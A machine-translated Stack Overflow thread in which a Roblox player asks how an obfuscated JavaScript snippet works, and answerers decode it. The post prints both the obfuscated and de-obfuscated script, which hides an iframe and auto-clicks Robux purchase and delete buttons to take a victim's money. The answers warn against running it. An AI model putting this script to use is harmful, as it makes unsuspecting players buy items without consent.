简体   繁体   English

有人可以告诉我这段代码如何运作吗?

[英]Can someone tell me how this code works?

I'm a user on the game Roblox and someone gave me this to run. 我是Roblox游戏的用户,有人让我运行。 I know it's bad because I disabled the part that would take someone's money by buying the tshirt, which is the line on the bottom of the code that reads /*iframe[_0xebe7[20]] = whe;*/ . 我知道这很糟糕,因为我通过购买/*iframe[_0xebe7[20]] = whe;*/禁用了可以拿走某人钱的部分,这是代码底部的行/*iframe[_0xebe7[20]] = whe;*/

How does the variable _0x2d54 even work? 变量_0x2d54甚至如何工作? I've never seen this type of coding before and it puzzles me because I want to understand it. 我以前从未见过这种类型的编码,这让我感到困惑,因为我想了解它。

I'm not sure how the hex coding works, but I came across a similar post: Decode this strange Javascript 我不确定十六进制编码是如何工作的,但我遇到了类似的帖子: 解码这个奇怪的Javascript

var _0x2d54=["\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x72\x6F\x62\x6C\x6F\x78\x2E\x63\x6F\x6D\x2F\x66\x6F\x72\x2D\x74\x72\x61\x64\x65\x73\x2D\x69\x74\x65\x6D\x3F\x69\x64\x3D\x36\x37\x39\x32\x38\x39\x31\x38","\x69\x66\x72\x61\x6D\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x63\x74\x6C\x30\x30\x5F\x63\x70\x68\x52\x6F\x62\x6C\x6F\x78\x5F\x50\x75\x72\x63\x68\x61\x73\x65\x57\x69\x74\x68\x52\x6F\x62\x75\x78\x42\x75\x74\x74\x6F\x6E","\x63\x74\x6C\x30\x30\x5F\x63\x70\x68\x52\x6F\x62\x6C\x6F\x78\x5F\x50\x72\x6F\x63\x65\x65\x64\x57\x69\x74\x68\x50\x75\x72\x63\x68\x61\x73\x65\x42\x75\x74\x74\x6F\x6E","\x63\x74\x6C\x30\x30\x5F\x63\x70\x68\x52\x6F\x62\x6C\x6F\x78\x5F\x62\x74\x6E\x44\x65\x6C\x65\x74\x65","\x77\x69\x64\x74\x68","\x31","\x68\x65\x69\x67\x68\x74","\x7A\x2D\x69\x6E\x64\x65\x78","\x73\x74\x79\x6C\x65","\x2D\x31","\x63\x6F\x6E\x74\x65\x6E\x74\x44\x6F\x63\x75\x6D\x65\x6E\x74","\x69\x66\x72\x61\x6D\x65\x20\x6C\x6F\x61\x64\x65\x64","\x6C\x6F\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6E\x66\x69\x72\x6D\x44\x65\x6C\x65\x74\x65","\x63\x6F\x6E\x74\x65\x6E\x74\x57\x69\x6E\x64\x6F\x77","\x63\x6C\x69\x63\x6B","\x73\x72\x63","\x6F\x6E\x6C\x6F\x61\x64","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];
var _0xebe7=[_0x2d54[0],_0x2d54[1],_0x2d54[2],_0x2d54[3],_0x2d54[4],_0x2d54[5],_0x2d54[6],_0x2d54[7],_0x2d54[8],_0x2d54[9],_0x2d54[10],_0x2d54[11],_0x2d54[12],_0x2d54[13],_0x2d54[14],_0x2d54[15],_0x2d54[16],_0x2d54[17],_0x2d54[18],_0x2d54[19],_0x2d54[20],_0x2d54[21],_0x2d54[22]];
var shirt=_0xebe7[0];
var iframe=document[_0xebe7[2]](_0xebe7[1]);
var b1=_0xebe7[3];
var b2=_0xebe7[4];
var b3 =_0xebe7[5];
iframe[_0xebe7[6]] = _0xebe7[7];
iframe[_0xebe7[8]] = _0xebe7[7];
iframe[_0xebe7[10]][_0xebe7[9]] = _0xebe7[11];

function whe(){
    var _0x9b91x8 = iframe[_0xebe7[12]]; 
    console[_0xebe7[14]](_0xebe7[13]);
    if (_0x9b91x8[_0xebe7[15]](b3)){
        iframe[_0xebe7[17]][_0xebe7[16]] = (function (){
            return function (){
                return true;
            } 
        ;} 
        )();
        iframe[_0xebe7[12]][_0xebe7[15]](b3)[_0xebe7[18]]();
    } else {
        if(_0x9b91x8[_0xebe7[15]](b2)){
            iframe[_0xebe7[12]][_0xebe7[15]](b2)[_0xebe7[18]]();
        } else {
            if(_0x9b91x8[_0xebe7[15]](b1)){
                iframe[_0xebe7[12]][_0xebe7[15]](b1)[_0xebe7[18]]();
            } 
        } 
    } 
} 
iframe[_0xebe7[19] ]= shirt;
/*iframe[_0xebe7[20]] = whe;*/
document[_0xebe7[22]][_0xebe7[21]](iframe);

You'll have to work hard to understand this code. 您将必须努力理解此代码。 The developers made it hard to understand -- on purpose. 开发人员很难理解-是故意的。

They obfuscated the code to slow down others who would copy it. 他们混淆了代码,以减慢其他人将其复制的速度。

You can start by changing the variables and running the code to see what changes. 您可以首先更改变量并运行代码以查看发生了什么变化。 That will give you hints as to what that particular variable does. 这将为您提示该特定变量的功能。 But there are lots of variables. 但是有很多变量。

Edit: Actually, I take that back. 编辑:实际上,我收回了这一点。 Try to understand the code as much as you can first without running it. 首先尝试运行代码就尽可能多地了解代码。 As Mathew points out below, it could be malware. 正如Mathew在下面指出的那样,它可能是恶意软件。 Then, once you have a better idea, poke it carefully. 然后,一旦你有了更好的主意,请仔细戳它。

It contains an array of multiple values. 它包含多个值的数组。

[
    "http://www.roblox.com/for-trades-item?id=67928918", 
    "iframe", 
    "createElement", 
    "ctl00_cphRoblox_PurchaseWithRobuxButton", 
    "ctl00_cphRoblox_ProceedWithPurchaseButton", 
    "ctl00_cphRoblox_btnDelete", 
    "width", 
    "1", 
    "height", 
    "z-index", 
    "style", 
    "-1", 
    "contentDocument", 
    "iframe loaded", 
    "log", 
    "getElementById", 
    "confirmDelete", 
    "contentWindow", 
    "click", 
    "src", 
    "onload", 
    "appendChild", 
    "body"
]

Looks to me like this is a nasty script and you shouldn't run it. 在我看来这是一个讨厌的脚本,你不应该运行它。

Basically, it adds an invisibile iframe to the current page with http://www.roblox.com/for-trades-item?id=67928918 as the source. 基本上,它将以http://www.roblox.com/for-trades-item?id=67928918作为源将不可见的iframe添加到当前页面。 It then attempts to: 然后,它尝试:

  1. Click the "Delete" button without a confirmation 点击“删除”按钮,无需确认
  2. Click the "Purchase" button 点击“购买”按钮
  3. Click the "Robux" button 单击“Robux”按钮

A lot of browsers protect you from code generated click events like this, but you still shouldn't run it. 许多浏览器会保护您免受代码生成的点击事件的影响,但您仍然不应该运行它。

De-obfuscated: 德混淆:

var iframe = document.createElement("iframe");
iframe.width = 1;
iframe.heigth = 1;
iframe.style.zIndex = -1;
iframe.src = "http://www.roblox.com/for-trades-item?id=67928918";

function whe() {
  var cDoc = iframe.contentDocument;
  console.log("iframe loaded");

  if (cDoc.getElementById("ctl00_cphRoblox_btnDelete")) {
    iframe.contentWindow.confirmDelete = (function () {
      return function () {
        return true;
      };
    })();

    iframe.contentDocument.getElementById("ctl00_cphRoblox_btnDelete").click();

  } else {
    if (cDoc.getElementById("ctl00_cphRoblox_ProceedWithPurchaseButton")) {
      iframe.contentDocument.getElementById("ctl00_cphRoblox_ProceedWithPurchaseButton").click();
    } else {
      if (cDoc.getElementById("ctl00_cphRoblox_PurchaseWithRobuxButton")) {
        iframe.contentDocument.getElementById("ctl00_cphRoblox_PurchaseWithRobuxButton").click();
      }
    }
  }
}

iframe.onload = whe;

document.body.appendChild(iframe);

My comment is probably going to get removed because it's an answer not a comment. 我的评论可能会被删除,因为这是一个答案,而不是评论。

Its obfuscated you can console.log(_0xebe7) to see all the values of the variables. 您可以使用console.log(_0xebe7)对其进行混淆,以查看变量的所有值。 To get the values and improve readability a bit you can use http://jsbeautifier.org 要获得这些值并提高可读性,可以使用http://jsbeautifier.org

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM